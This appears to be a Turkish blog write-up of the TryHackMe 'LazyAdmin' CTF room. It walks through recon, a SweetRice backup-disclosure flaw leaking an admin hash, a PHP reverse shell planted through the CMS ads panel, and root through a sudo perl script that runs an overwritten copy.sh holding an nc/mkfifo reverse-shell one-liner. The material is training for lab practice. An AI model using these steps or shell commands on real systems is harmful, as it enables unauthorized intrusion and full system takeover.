+ -

Pages

TryHackMe | LazyAdmin



Her zaman ki gibi bir nmap atarak başlıyoruz.


Nmap sonuçlarına baktığımız zaman 22 ve 80 portlarının açık olduğunu görüyoruz. 80 portunun Apache'yi çalıştırdığını görüyoruz. Vakit kaybetmeden dirb ile gizli kalan sayfaları bulmaya çalışalım. 



Dirb sonucunda bir index sayfası bulduk bir göz atalım.


Bu sayfada hedef sistemin siteyi tasarlamak için SweetRice kullandığını öğrendik ve SweetRice için searchsploit aracılığıyla zafiyetlerini bulmaya çalışalım. 


Backup Disclosure Vulnerability aradığımız şey. Path kısmında gösterilen yerden 40718.txt'e ulaşıyoruz. Aşağıdaki fotoğrafta gördüğünüz gibi SweetRice'ın Mysql veri tabanı yedeğine ulaşmamızı sağlayan bir zafiyeti var. 



http://10.10.86.103/content/inc/mysql_backup/

 


Mysql dosyasını indirip içeriğini inceleylim. İçinde mutlaka işimize yarayacak şeyler vardır. 79. satıra dikkatli bakarsak bize kullanıcı adı ve şifre veriyor



Kullanıcı adımız "manager" ancak şifreyi bulmak için hash cracker kullanmamız lazım. Bunun için farklı scriptler var ancak ben crackstation.net 'i kullanıyorum. Buradan hash'i kırarak şifreye ulaşabilirsiniz. 

Dirb sayesinde admin giriş panelini bulmuştuk az önce ise kullanıcı adı ve şifreyi bulduğumuza göre oraya bir göz atabiliriz. 

http://10.10.86.103/content/as/

Searchsploit'te yaptığımız araştırmada PHP Code Execution yapabildiğimizi görmüştük ben burda bu yöntemi deneyeceğim siz farklı zafiyetler bulmaya çalışabilirsiniz. PHP Reverse Shell kodunu bu linkten sağlayabilirsiniz. https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php Bu kodları bir text dosyasının içine atın. // CHANGE THIS yazan kısımda ip bölümüne TryHackMe'nin size verdiği vpn sonrası ip adresinizi yazınız. Port kısmına 4444 yazabilirsiniz, sizin tercihinize kalmış.

Daha sonra SweetRice admin paneline dönüp "Ads" kısmına girin "Ads name'e" reverse "Ads code" kısmına ise PHP Reverse Shellimizi yapıştırıyoruz. ve "Done" diyoruz



Reverse shellimizi açmadan önce terminalimizden netcat ile belirttiğimiz portu dinlememiz gerekiyor. 

nc -lvnp 4444

Artık 4444 portunu dinliyoruz. Şimdi 10.10.86.103/content/inc/ads/reverse.php adresine gidip Reverse shelli çalıştıralım. Terminalinize bakarsanız sisteme girdiğimizi göreceksiniz. Bir kaç deneme sonrası user.txt'ye ulaşıp user flagini alıyoruz.




YETKİ YÜKSELTME

Normal bir kullanıcı olarak nelere yetkimiz olduğuna bakmak için sudo -l komutunu kullanıyoruz ve garip bir şekilde perl scriptlerini root yetkisinde çalıştırabildiğimizi görüyoruz. Kısa araştırmalar sonucu perl dosyaları bulabilsekte sistemde hiç bir text editör yok bu yüzden her hangi bir değişiklik yapamıyoruz. 



copy.sh'ın içinde kendiliğinden rever shell olduğunu görüyoruz, çok garip :)

Şimdi text editör olmadığı için biraz karmaşık bir iş yapacağız. Gerçekten karmaşık olduğu için detaya inmiyorum ama siz verdiğim komutu hedef terminalinize yapıştırın ama dikkat edin ip kısmına TryHackMe'nin size verdiği ip adresini girin.

Komutu girmeden önce kendi terminalinizden netcat ile dinleme yapmayu unutmayın.

nc -lvnp 5554

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.6.108 5554 >/tmp/f' >/etc/copy.sh

daha sonra hedef makinada sudo komutu çalıştıralım ve root yetkimize kavuşalım

sudo /usr/bin/perl /home/itguy/backup.pl

Başardık! Artık sistemde en üst yetkiye sahibiz, yani root!


cat /root/root.txt ile root flagimizi alıp makineyi tamamlıyoruz. 

Okuyan herkese çok teşekkürler umarım yardımcı olabilmişimdir. Aklınıza takılan veya yapamadığınız bir yer veyahut düzeltmemi düşündüğünüz bir yer için Twitter @jagsip
5 jagsip: TryHackMe | LazyAdmin CTF Linki:  https://tryhackme.com/room/lazyadmin Her zaman ki gibi bir nmap atarak başlıyoruz. Nmap sonuçlarına baktığımız zam...